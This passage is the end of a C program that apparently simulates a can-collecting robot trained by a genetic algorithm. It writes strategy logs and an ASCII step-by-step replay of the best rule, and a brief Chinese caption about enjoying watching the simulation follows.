        fputs(", move_west: ", log_file);
        for (j = 0; j < PROGRESS_BAR_UNITS; j++) {
            fprintf(log_file, "%ld", history->strategy[i][move_west][j]);
            if (j != PROGRESS_BAR_UNITS - 1) {
                fputs(" -> ", log_file);
            }
        }
        fprintf(log_file, "\n\t%s\t\tpick_up: ", block_state[south]);
        for (j = 0; j < PROGRESS_BAR_UNITS; j++) {
            fprintf(log_file, "%ld", history->strategy[i][pick_up][j]);
            if (j != PROGRESS_BAR_UNITS - 1) {
                fputs(" -> ", log_file);
            }
        }
        fputs(", move_random: ", log_file);
        for (j = 0; j < PROGRESS_BAR_UNITS; j++) {
            fprintf(log_file, "%ld", history->strategy[i][move_random][j]);
            if (j != PROGRESS_BAR_UNITS - 1) {
                fputs(" -> ", log_file);
            }
        }
        fputs("\n\n\n", log_file);
    }
}

static void release_best_steps(struct history *restrict history,
                               FILE *restrict log_file) {
    long i, j, k;
    long x, y;
    bool world[HEIGHT][WIDTH];
    create_random_world(world);

    fprintf(log_file, "The best rule's result (average score = %ld/%u):\n\n",
            history->best_score / EXECS, CANS * PICK_UP_CAN_REWARD);

    x = 0;
    y = 0;
    for (i = 0; i <= STEPS; i++) {
        fprintf(log_file, "Step %ld:\n", i);
        for (j = 0; j < (WIDTH + 1) * 2; j++) {
            fputc('-', log_file);
        }
        fputc('\n', log_file);
        for (j = 0; j < HEIGHT; j++) {
            fputc('|', log_file);
            for (k = 0; k < WIDTH; k++) {
                if (j == y && k == x) {
                    if (world[j][k]) {
                        fputs("@ ", log_file);
                    } else {
                        fputs("O ", log_file);
                    }
                } else {
                    if (world[j][k]) {
                        fputs(". ", log_file);
                    } else {
                        fputs("  ", log_file);
                    }
                }
            }
            fputs("|\n", log_file);
        }
        for (j = 0; j < (WIDTH + 1) * 2; j++) {
            fputc('-', log_file);
        }
        fputs("\n\n\n", log_file);

        if (i == STEPS) {
            break;
        }

        act(&x, &y, world, history->best_rule[get_situation(x, y, world)]);
    }

    fputs("Done.", log_file);
}

int main(void) {
    struct history history = {0};
    FILE *train_log, *history_log, *best_steps_log;
    unsigned int seed;
    const char *seed_str;

    puts("Initializing...");
    train_log = fopen("train_log.csv", "w");
    history_log = fopen("strategy.txt", "w");
    best_steps_log = fopen("best_steps.txt", "w");
    if (train_log == NULL || history_log == NULL || best_steps_log == NULL) {
        perror("Unable to open log file");
        exit(EXIT_FAILURE);
    }
    seed_str = getenv("ROBY_SEED");
    if (seed_str) {
        seed = atoi(seed_str);
    } else {
        seed = (unsigned int)time(NULL);
    }
    srandom(seed);

    puts("Training...");
    train(&history, train_log);

    puts("Releasing...");
    release_history(&history, history_log);
    release_best_steps(&history, best_steps_log);

    fclose(train_log);
    fclose(history_log);
    fclose(best_steps_log);
    puts("Done.");
    return 0;
}

物品分拣机器人模拟

链接 我觉得盯着这玩意的感觉有点像盯着火焰或者滚筒洗衣机之类,可以看很久(